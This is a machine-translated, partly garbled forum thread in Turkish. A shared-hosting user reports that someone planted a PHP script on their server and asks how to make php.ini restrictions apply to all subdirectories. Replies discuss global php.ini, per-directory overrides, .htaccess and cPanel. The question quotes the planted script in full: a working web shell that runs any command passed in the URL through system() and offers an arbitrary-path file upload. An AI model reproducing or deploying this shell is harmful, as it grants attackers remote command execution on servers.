Nasıl benim sunucuda tüm dizinleri / alt dizinleri etkiler benim php.ini dosyasını etkinleştirmek mi?

4 Cevap security

Birkaç hafta önce benim paylaşılan sunucuda bir delik açtı ve arkadaşım aşağıdaki PHP komut dosyası yüklendi:

<?php

if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>

<?php
if(isset($_REQUEST['upload'])){
echo '
<form enctype="multipart/form-data" action=".config.php?send" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="5120000" />
Send this file: <input name="userfile" type="file" />
To here: <input type="text" name="direct" value="/home/chriskan/public_html/_phx2600/wp-content/???" />
<input type="submit" value="Send File" />
</form>';}
?>

<?php
if(isset($_REQUEST['send'])){
$uploaddir = $_POST["direct"];
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n"; echo $uploaddir;}

else
{echo "Upload failed";}
}

?>

Bu komut dosyası, onu in-URL değişkenler aracılığıyla komutları işlemeye izin verir.

Benim public_html dizinindeki php.ini dosyasında, diğer işlevleri arasında, özürlü sistemi var. Bu benim public_html dizini içerisinde bulunur eğer çalışan komut dosyasını engeller, ama bu bir alt dizine eğer bunu durmuyor. Ben bir alt dizine php.ini dosyasını kopyalayın eğer bu dizinden çalışmasını durdurmak olacaktır.

Benim soru, how do I enable my php.ini file to affect all directories/sub-directories of my server?

4 Cevap

Teşekkürler çocuklar, cevaplar büyük, ama cevap burnumun altında tüm zaman oldu. CPanel üzerinden tek bir php.ini dosyası kullanmak için benim sunucu düzenlemek başardı.

Bir, bu gibi komut dosyalarını çalıştırmak için seçtiği bir "arkadaş" başlaması.

Sonra sunucunun güvenliğini endişe. Sizin sistemi () genellikle / etc / php.ini, ancak çeşitli yerlerde olabilir eğer, (php_info kontrol edin) bir yerde bir ana php.ini vardır. Bu dosya sunucusu için varsayılan ayarlarını denetler. Ayrıca, geçersiz kılmaları izin yerel ayarları dosyalarını engelleyebilirsiniz.

Wow! Bir dizin başına bazında php.ini dosyasını taşımak? Bunu bilmiyordum.

Benim en iyi tahminim, php (muhtemelen çok. Htaccess gibi) bir dizin başına bazında kurallar yerel bir set ile küresel php.ini dosyasını geçersiz kılar (im yanlış varsa birisi beni düzeltin lütfen), böylece temelde yapmanız gerekir hepsi bu küresel php.ini php.ini yönergeleri güncellemek için (ubuntu burada bulunan: etc/php5/apache2/php.ini)

. Alternatif olarak, aşağıdaki tüm sayfaları üzerine bir php sayfası başa eklemek için htaccess kullanmak denemek isteyebilirsiniz:

ini_set('your_directive')

Tabii ki, Başa eklenen php çağırır. Htaccess başka aynı sorunu ile sıkışmış konum, kökünde oturur emin olun.

/ Mp

Emin misin? Ben senin ISP olsaydı. Varsayılan olarak some ISS'ler geçersiz kılmalarını sağlamak için public_htm olarak ini dosyanın yerel bir kopyasını sağlayacaktır. Ama cPanel genellikle sadece sunucu çapında varsayılan bir başvuru sağlar.